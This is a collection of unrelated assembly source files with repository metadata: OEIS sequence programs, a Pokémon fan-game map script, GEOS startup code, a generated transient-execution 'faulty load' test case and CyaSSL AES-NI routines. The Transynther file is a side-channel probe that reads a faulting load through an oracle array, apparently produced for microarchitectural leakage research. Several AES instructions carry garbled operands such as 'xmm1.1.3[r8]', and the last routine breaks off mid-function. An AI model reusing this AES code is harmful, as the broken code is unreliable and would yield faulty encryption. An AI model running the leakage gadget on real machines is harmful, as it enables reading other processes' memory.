afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/070/A070351.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A070351: a(n) = 2^n mod 47. ; 1,2,4,8,16,32,17,34,21,42,37,27,7,14,28,9,18,36,25,3,6,12,24,1,2,4,8,16,32,17,34,21,42,37,27,7,14,28,9,18,36,25,3,6,12,24,1,2,4,8,16,32,17,34,21,42,37,27,7,14,28,9,18,36,25,3,6,12,24,1,2,4,8,16,32,17,34,21,42,37,27,7,14,28,9,18,36,25,3,6,12,24,1,2,4,8,16,32,17,34 mov $1,1 mov $2,$0 lpb $2 mul $1,2 mod $1,47 sub $2,1 lpe mov $0,$1
30.916667
265
0.587601
408c072cfc7a992a669191734e55dd271096381a
2,163
asm
Assembly
savefile/maps/3B31_LostWoodsSubB_Fun.asm
stranck/fools2018-1
1c506b17343fcdfa708aafaf8e596153e2c63254
[ "MIT" ]
35
2018-04-01T06:55:28.000Z
2021-05-09T19:09:42.000Z
savefile/maps/3B31_LostWoodsSubB_Fun.asm
stranck/fools2018-1
1c506b17343fcdfa708aafaf8e596153e2c63254
[ "MIT" ]
4
2018-04-01T15:32:55.000Z
2019-02-23T20:46:49.000Z
savefile/maps/3B31_LostWoodsSubB_Fun.asm
stranck/fools2018-1
1c506b17343fcdfa708aafaf8e596153e2c63254
[ "MIT" ]
12
2018-04-01T15:48:09.000Z
2021-01-27T10:22:33.000Z
SECTION "Map_3B31_Fun", ROM0[$B800] Map_3B31_Fun_Header: hdr_tileset 0 hdr_dimensions 7, 7 hdr_pointers_a Map_3B31_Fun_Blocks, Map_3B31_Fun_TextPointers hdr_pointers_b Map_3B31_Fun_Script, Map_3B31_Fun_Objects hdr_pointers_c Map_3B31_Fun_InitScript, Map_3B31_Fun_RAMScript hdr_palette $06 hdr_music MUSIC_DUNGEON2, AUDIO_3 hdr_connection NORTH, $0000, 0, 0 hdr_connection SOUTH, $3B22, 7, 1 hdr_connection WEST, $3A3E, 0, 0 hdr_connection EAST, $0000, 0, 0 Map_3B31_Fun_Objects: hdr_border $0f hdr_warp_count 0 hdr_sign_count 1 hdr_signpost 4, 9, $02 hdr_object_count 1 hdr_object SPRITE_GIRL, 7, 6, STAY, NONE, $01 Map_3B31_Fun_RAMScript: rs_write_1 $c770, $7a rs_write_1 $c77d, $7a rs_end Map_3B31_Fun_Blocks: db $0b,$0b,$0b,$0b,$0b,$0b,$0b db $0b,$62,$6c,$6c,$6c,$63,$0b db $0b,$6d,$7a,$7a,$7a,$6e,$0b db $0b,$6d,$7a,$7a,$7a,$6e,$0b db $0b,$6d,$41,$7a,$7a,$6e,$0b db $0b,$50,$52,$7a,$52,$4f,$0b db $0b,$0b,$0f,$7a,$0f,$0b,$0b Map_3B31_Fun_TextPointers: dw Map_3B31_Fun_TX1 dw Map_3B31_Fun_TX2 Map_3B31_Fun_InitScript: ld a, 4 ld [$c109], a ret Map_3B31_Fun_ChangeDirFlag: db 32 Map_3B31_Fun_Script: ld a, [Map_3B31_Fun_ChangeDirFlag] and a ret z ld a, 4 ld [$c109], a ld hl, Map_3B31_Fun_ChangeDirFlag dec [hl] ret Map_3B31_Fun_TX1: TX_ASM jp EnhancedTextOnly text "This place was just filled" next "with treasure, but I got" cont "here first." para "What a bummer!" next "Haha! At least you tried!" done Map_3B31_Fun_TX2: TX_ASM jp EnhancedTextOnly text "A random pillar. There's a" next "piece of paper attached." para "It looks like a scoreboard," next "counting wins between two" cont "people in a best-of-25" cont "match." para "The match was never finished," next "but it came close, with 24" cont "wins on one side." para "That doesn't make any sense." next "Welcome to Fidei." done
26.060241
71
0.632455
0f79bf634cfc7e916c7fd1f3445dfb77c1faf574
792
asm
Assembly
programs/oeis/002/A002276.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/002/A002276.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/002/A002276.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A002276: a(n) = 2*(10^n - 1)/9. ; 0,2,22,222,2222,22222,222222,2222222,22222222,222222222,2222222222,22222222222,222222222222,2222222222222,22222222222222,222222222222222,2222222222222222,22222222222222222,222222222222222222,2222222222222222222,22222222222222222222,222222222222222222222,2222222222222222222222,22222222222222222222222,222222222222222222222222,2222222222222222222222222,22222222222222222222222222,222222222222222222222222222,2222222222222222222222222222,22222222222222222222222222222,222222222222222222222222222222,2222222222222222222222222222222,22222222222222222222222222222222,222222222222222222222222222222222,2222222222222222222222222222222222,22222222222222222222222222222222222,222222222222222222222222222222222222 add $0,3 mov $2,10 pow $2,$0 mov $0,$2 div $0,4500
88
705
0.897727
242e22c35dec1878d0c356f4119963304d414eef
3,523
asm
Assembly
Appl/Startup/BStartup/bsWelcome.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Appl/Startup/BStartup/bsWelcome.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Appl/Startup/BStartup/bsWelcome.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1992 -- All Rights Reserved PROJECT: PC GEOS MODULE: FILE: bsWelcome.asm AUTHOR: Steve Yegge, Jul 15, 1993 ROUTINES: Name Description ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- stevey 7/15/93 Initial revision DESCRIPTION: $Id: bsWelcome.asm,v 1.1 97/04/04 16:52:58 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ WelcomeCode segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% WelcomeStartSelect %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Make ourselves go away! CALLED BY: MSG_META_START_SELECT PASS: *ds:si = WelcomeContentClass object ds:di = WelcomeContentClass instance data RETURN: ax = MouseReturnFlags DESTROYED: nothing PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- stevey 7/15/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ WelcomeStartSelect method dynamic WelcomeContentClass, MSG_META_START_SELECT, MSG_META_KBD_CHAR uses cx, dx, bp .enter ; ; Get the block our view is in (this is the same block ; as the main dialog). Tell ourselves to disappear. ; mov ax, MSG_GEN_GUP_INTERACTION_COMMAND mov bx, ds:[di].VCNI_view.handle mov si, offset WelcomeDialog mov cx, IC_DISMISS mov di, mask MF_FORCE_QUEUE call ObjMessage ; ; If the pen has already been calibrated, the INI file ; will have the entry penCalibrated = TRUE under [system]. ; If this is the case, don't do calibration or date/time ; screens. ; call BSCheckCalibration jc calibrate ; ; Don't calibrate -- just bail. ; call QuitStartupCommon jmp done calibrate: ; ; Put up calibration screen. ; mov ax, MSG_BS_PRIMARY_DO_CALIBRATION mov bx, handle MyBSPrimary mov si, offset MyBSPrimary mov di, mask MF_FORCE_QUEUE call ObjMessage done: mov ax, mask MRF_PROCESSED .leave ret WelcomeStartSelect endm WelcomeEndSelect method dynamic WelcomeContentClass, MSG_META_END_SELECT, MSG_META_PTR ret WelcomeEndSelect endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% WelcomeVisDraw %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Draw the picture (if any) and welcome string. CALLED BY: MSG_VIS_DRAW PASS: *ds:si = WelcomeContentClass object ds:di = WelcomeContentClass instance data ^hbp = gstate to draw through RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- stevey 7/15/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ WelcomeVisDraw method dynamic WelcomeContentClass, MSG_VIS_DRAW uses ax, cx, dx, bp .enter ; ; Draw the hello-there string. ; mov di, bp ; gstate mov bp, TRUE mov bx, WELCOME_STRING_TOP mov si, offset WelcomeString call DrawCenteredString ; ; Draw the touch-me string. Touch me, touch me. ; mov bx, TOUCH_SCREEN_STRING_TOP mov si, offset TouchAnywhereString call DrawCenteredString .leave ret WelcomeVisDraw endm WelcomeCode ends
23.177632
79
0.565995
f384c6e46476321dbc3d3da5b610d16a971c438d
8,268
asm
Assembly
Transynther/x86/_processed/NONE/_xt_sm_/i9-9900K_12_0xca_notsx.log_21829_925.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i9-9900K_12_0xca_notsx.log_21829_925.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i9-9900K_12_0xca_notsx.log_21829_925.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r14 push %r8 push %r9 push %rax push %rcx push %rdi push %rsi lea addresses_WC_ht+0x17cf8, %rax nop nop nop nop inc %r9 mov $0x6162636465666768, %r13 movq %r13, %xmm5 vmovups %ymm5, (%rax) nop nop nop nop nop xor %r8, %r8 lea addresses_normal_ht+0x4250, %r9 nop nop nop nop nop and $43478, %r13 movb (%r9), %r14b nop nop sub $2300, %rax lea addresses_normal_ht+0x1e69a, %rsi lea addresses_WT_ht+0x17a90, %rdi nop cmp $61048, %rax mov $127, %rcx rep movsb nop nop nop add $10394, %rax lea addresses_WC_ht+0x6090, %r14 clflush (%r14) add $50904, %r13 movb $0x61, (%r14) nop add %r9, %r9 lea addresses_normal_ht+0x1ca8a, %r14 nop sub $51654, %rax mov $0x6162636465666768, %rdi movq %rdi, %xmm7 movups %xmm7, (%r14) nop nop nop nop cmp %r13, %r13 lea addresses_WT_ht+0x8c90, %r13 xor $32635, %r14 mov $0x6162636465666768, %r8 movq %r8, (%r13) nop nop nop nop nop cmp %rax, %rax lea addresses_normal_ht+0xe990, %rax nop inc %r8 mov (%rax), %rdi nop nop nop nop dec %rsi lea addresses_normal_ht+0x1c288, %rcx nop sub %rax, %rax movw $0x6162, (%rcx) nop nop and $10330, %rsi lea addresses_UC_ht+0x12e90, %rax add %r9, %r9 mov (%rax), %ecx inc %r13 lea addresses_WT_ht+0x10190, %rsi lea addresses_UC_ht+0xd890, %rdi nop add %r14, %r14 mov $115, %rcx rep movsb nop nop nop nop and %r13, %r13 lea addresses_WC_ht+0x13690, %rsi lea addresses_D_ht+0xd0b0, %rdi nop nop cmp $4135, %rax mov $57, %rcx rep movsl nop nop nop and $444, %r13 lea addresses_UC_ht+0x28c0, %r9 nop nop nop nop xor $60407, %r8 mov (%r9), %rcx cmp %r13, %r13 lea addresses_WC_ht+0x14c90, %rdi clflush (%rdi) nop xor %r13, %r13 mov $0x6162636465666768, %rax movq %rax, (%rdi) nop nop nop nop nop sub %r14, %r14 lea addresses_WT_ht+0x10b90, %rsi lea addresses_A_ht+0x2e90, %rdi nop nop nop nop nop xor $24178, %rax mov $71, %rcx rep movsw nop sub %r9, %r9 lea addresses_A_ht+0xc3f0, %r8 and $63817, %rcx mov $0x6162636465666768, %r9 movq %r9, %xmm7 movups %xmm7, (%r8) nop nop nop xor %r8, %r8 pop %rsi pop %rdi pop %rcx pop %rax pop %r9 pop %r8 pop %r14 pop %r13 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r14 push %r9 push %rbp push %rdi push %rdx // Store lea addresses_PSE+0x1be90, %rdx nop nop nop nop nop xor %r9, %r9 mov $0x5152535455565758, %rdi movq %rdi, %xmm4 movups %xmm4, (%rdx) nop and $47923, %rdx // Store lea addresses_PSE+0x1be90, %rdx cmp $64517, %rbp movw $0x5152, (%rdx) nop xor $18814, %rbp // Faulty Load lea addresses_PSE+0x1be90, %rbp nop nop nop nop nop cmp $49573, %r14 movb (%rbp), %dl lea oracles, %rdi and $0xff, %rdx shlq $12, %rdx mov (%rdi,%rdx,1), %rdx pop %rdx pop %rdi pop %rbp pop %r9 pop %r14 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_PSE', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_PSE', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_PSE', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_PSE', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 3}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 5}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_normal_ht'}, 'dst': {'same': False, 'congruent': 10, 'type': 'addresses_WT_ht'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 9}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 7}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 8}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': True, 'size': 2, 'congruent': 3}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 10}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 8, 'type': 'addresses_WT_ht'}, 'dst': {'same': False, 'congruent': 6, 'type': 'addresses_UC_ht'}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 5, 'type': 'addresses_D_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 3}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 8}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 8, 'type': 'addresses_WT_ht'}, 'dst': {'same': False, 'congruent': 11, 'type': 'addresses_A_ht'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 5}} {'52': 21829} 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 */
33.473684
2,999
0.656386
54e619e5305b44a687bc220812a9408437fbbf46
19,809
asm
Assembly
lib/sdk/Libraries/FreeRTOS-Plus/Source/CyaSSL/ctaocrypt/src/aes_asm.asm
dos1/card10-firmware
2b12800dfb677d37f808b380c9d9fe2a0fc528ab
[ "MIT" ]
null
null
null
lib/sdk/Libraries/FreeRTOS-Plus/Source/CyaSSL/ctaocrypt/src/aes_asm.asm
dos1/card10-firmware
2b12800dfb677d37f808b380c9d9fe2a0fc528ab
[ "MIT" ]
null
null
null
lib/sdk/Libraries/FreeRTOS-Plus/Source/CyaSSL/ctaocrypt/src/aes_asm.asm
dos1/card10-firmware
2b12800dfb677d37f808b380c9d9fe2a0fc528ab
[ "MIT" ]
2
2019-09-30T09:20:48.000Z
2021-03-26T11:03:42.000Z
; /*aes_asm . asm ; * ; *Copyright[C]2006 -2014 wolfSSL Inc . ; * ; *This file is part of CyaSSL . ; * ; *CyaSSL is free software/ you can redistribute it and/or modify ; *it under the terms of the GNU General Public License as published by ; *the Free Software Foundation/ either version 2 of the License, or ; *[at your option]any later version . ; * ; *CyaSSL ,is distributed in the hope that it will be useful ; *but WITHOUT ANY WARRANTY/ without even the implied warranty of ; *MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE . See the ; *GNU General Public License for more details . ; * ; *You should have received a copy of the GNU General Public License ; *along with this program/ if not, write to the Free Software ; *Foundation,Inc .,51 Franklin Street,Fifth Floor,Boston,MA 02110-1301,USA ; */ ; ; ; /*See IntelA dvanced Encryption Standard[AES]Instructions Set White Paper ; *by Israel,Intel Mobility Group Development Center,Israel Shay Gueron ; */ ; ; /* This file is in intel asm syntax, see .s for at&t syntax */ ; ; /* ; AES_CBC_encrypt[const ,unsigned char*in ; unsigned ,char*out ; unsigned ,char ivec+16 ; unsigned ,long length ; const ,unsigned char*KS ; int nr] ; */ _text SEGMENT AES_CBC_encrypt PROC ;# parameter 1: rdi ;# parameter 2: rsi ;# parameter 3: rdx ;# parameter 4: rcx ;# parameter 5: r8 ;# parameter 6: r9d ; save rdi and rsi to rax and r11, restore before ret mov rax,rdi mov r11,rsi ; convert to what we had for att&t convention mov rdi,rcx mov rsi,rdx mov rdx,r8 mov rcx,r9 mov r8,[rsp+40] mov r9d,[rsp+48] mov r10,rcx shr rcx,4 shl r10,60 je NO_PARTS add rcx,1 NO_PARTS: sub rsi,16 movdqa xmm1,[rdx] LOOP_1: pxor xmm1,[rdi] pxor xmm1,[r8] add rsi,16 add rdi,16 cmp r9d,12 aesenc xmm1,16[r8] aesenc xmm1,32[r8] aesenc xmm1,48[r8] aesenc xmm1,64[r8] aesenc xmm1,80[r8] aesenc xmm1,96[r8] aesenc xmm1.1.3[r8] aesenc xmm1,128[r8] aesenc xmm1,144[r8] movdqa xmm2,160[r8] jb LAST cmp r9d,14 aesenc xmm1,160[r8] aesenc xmm1,176[r8] movdqa xmm2,192[r8] jb LAST aesenc xmm1.1.3[r8] aesenc xmm1,208[r8] movdqa xmm2,224[r8] LAST: dec rcx aesenclast xmm1,xmm2 movdqu [rsi],xmm1 jne LOOP_1 ; restore non volatile rdi,rsi mov rdi,rax mov rsi,r11 ret AES_CBC_encrypt ENDP ; /* ; AES_CBC_decrypt[const ,unsigned char*in ; unsigned ,char*out ; unsigned ,char ivec+16 ; unsigned ,long length ; const ,unsigned char*KS ; int nr] ; */ ; . globl AES_CBC_decrypt AES_CBC_decrypt PROC ;# parameter 1: rdi ;# parameter 2: rsi ;# parameter 3: rdx ;# parameter 4: rcx ;# parameter 5: r8 ;# parameter 6: r9d ; save rdi and rsi to rax and r11, restore before ret mov rax,rdi mov r11,rsi ; convert to what we had for att&t convention mov rdi,rcx mov rsi,rdx mov rdx,r8 mov rcx,r9 mov r8,[rsp+40] mov r9d,[rsp+48] ; on microsoft xmm6-xmm15 are non volaitle, let's save on stack and restore at end sub rsp,8+8*16 ; 8 = align stack , 8 xmm6-12,15 16 bytes each movdqa [rsp+0], xmm6 movdqa [rsp+16], xmm7 movdqa [rsp+32], xmm8 movdqa [rsp+48], xmm9 movdqa [rsp+64], xmm10 movdqa [rsp+80], xmm11 movdqa [rsp+96], xmm12 movdqa [rsp+112], xmm15 mov r10,rcx shr rcx,4 shl r10,60 je DNO_PARTS_4 add rcx,1 DNO_PARTS_4: mov r10,rcx shl r10,62 shr r10,62 shr rcx,2 movdqu xmm5,[rdx] je DREMAINDER_4 sub rsi,64 DLOOP_4: movdqu xmm1,[rdi] movdqu xmm2,16[rdi] movdqu xmm3,32[rdi] movdqu xmm4,48[rdi] movdqa xmm6,xmm1 movdqa xmm7,xmm2 movdqa xmm8,xmm3 movdqa xmm15,xmm4 movdqa xmm9,[r8] movdqa xmm10,16[r8] movdqa xmm11,32[r8] movdqa xmm12,48[r8] pxor xmm1,xmm9 pxor xmm2,xmm9 pxor xmm3,xmm9 pxor xmm4,xmm9 aesdec xmm1,xmm10 aesdec xmm2,xmm10 aesdec xmm3,xmm10 aesdec xmm4,xmm10 aesdec xmm1,xmm11 aesdec xmm2,xmm11 aesdec xmm3,xmm11 aesdec xmm4,xmm11 aesdec xmm1,xmm12 aesdec xmm2,xmm12 aesdec xmm3,xmm12 aesdec xmm4,xmm12 movdqa xmm9,64[r8] movdqa xmm10,80[r8] movdqa xmm11,96[r8] movdqa xmm12,112[r8] aesdec xmm1,xmm9 aesdec xmm2,xmm9 aesdec xmm3,xmm9 aesdec xmm4,xmm9 aesdec xmm1,xmm10 aesdec xmm2,xmm10 aesdec xmm3,xmm10 aesdec xmm4,xmm10 aesdec xmm1,xmm11 aesdec xmm2,xmm11 aesdec xmm3,xmm11 aesdec xmm4,xmm11 aesdec xmm1,xmm12 aesdec xmm2,xmm12 aesdec xmm3,xmm12 aesdec xmm4,xmm12 movdqa xmm9,128[r8] movdqa xmm10,144[r8] movdqa xmm11,160[r8] cmp r9d,12 aesdec xmm1,xmm9 aesdec xmm2,xmm9 aesdec xmm3,xmm9 aesdec xmm4,xmm9 aesdec xmm1,xmm10 aesdec xmm2,xmm10 aesdec xmm3,xmm10 aesdec xmm4,xmm10 jb DLAST_4 movdqa xmm9,160[r8] movdqa xmm10,176[r8] movdqa xmm11.1.3[r8] cmp r9d,14 aesdec xmm1,xmm9 aesdec xmm2,xmm9 aesdec xmm3,xmm9 aesdec xmm4,xmm9 aesdec xmm1,xmm10 aesdec xmm2,xmm10 aesdec xmm3,xmm10 aesdec xmm4,xmm10 jb DLAST_4 movdqa xmm9,192[r8] movdqa xmm10,208[r8] movdqa xmm11,224[r8] aesdec xmm1,xmm9 aesdec xmm2,xmm9 aesdec xmm3,xmm9 aesdec xmm4,xmm9 aesdec xmm1,xmm10 aesdec xmm2,xmm10 aesdec xmm3,xmm10 aesdec xmm4,xmm10 DLAST_4: add rdi,64 add rsi,64 dec rcx aesdeclast xmm1,xmm11 aesdeclast xmm2,xmm11 aesdeclast xmm3,xmm11 aesdeclast xmm4,xmm11 pxor xmm1,xmm5 pxor xmm2,xmm6 pxor xmm3,xmm7 pxor xmm4,xmm8 movdqu [rsi],xmm1 movdqu 16[rsi],xmm2 movdqu 32[rsi],xmm3 movdqu 48[rsi],xmm4 movdqa xmm5,xmm15 jne DLOOP_4 add rsi,64 DREMAINDER_4: cmp r10,0 je DEND_4 DLOOP_4_2: movdqu xmm1,[rdi] movdqa xmm15,xmm1 add rdi,16 pxor xmm1,[r8] movdqu xmm2,160[r8] cmp r9d,12 aesdec xmm1,16[r8] aesdec xmm1,32[r8] aesdec xmm1,48[r8] aesdec xmm1,64[r8] aesdec xmm1,80[r8] aesdec xmm1,96[r8] aesdec xmm1.1.3[r8] aesdec xmm1,128[r8] aesdec xmm1,144[r8] jb DLAST_4_2 movdqu xmm2,192[r8] cmp r9d,14 aesdec xmm1,160[r8] aesdec xmm1,176[r8] jb DLAST_4_2 movdqu xmm2,224[r8] aesdec xmm1.1.3[r8] aesdec xmm1,208[r8] DLAST_4_2: aesdeclast xmm1,xmm2 pxor xmm1,xmm5 movdqa xmm5,xmm15 movdqu [rsi],xmm1 add rsi,16 dec r10 jne DLOOP_4_2 DEND_4: ; restore non volatile rdi,rsi mov rdi,rax mov rsi,r11 ; restore non volatile xmms from stack movdqa xmm6, [rsp+0] movdqa xmm7, [rsp+16] movdqa xmm8, [rsp+32] movdqa xmm9, [rsp+48] movdqa xmm10, [rsp+64] movdqa xmm11, [rsp+80] movdqa xmm12, [rsp+96] movdqa xmm15, [rsp+112] add rsp,8+8*16 ; 8 = align stack , 8 xmm6-12,15 16 bytes each ret AES_CBC_decrypt ENDP ; /* ; AES_ECB_encrypt[const ,unsigned char*in ; unsigned ,char*out ; unsigned ,long length ; const ,unsigned char*KS ; int nr] ; */ ; . globl AES_ECB_encrypt AES_ECB_encrypt PROC ;# parameter 1: rdi ;# parameter 2: rsi ;# parameter 3: rdx ;# parameter 4: rcx ;# parameter 5: r8d ; save rdi and rsi to rax and r11, restore before ret mov rax,rdi mov r11,rsi ; convert to what we had for att&t convention mov rdi,rcx mov 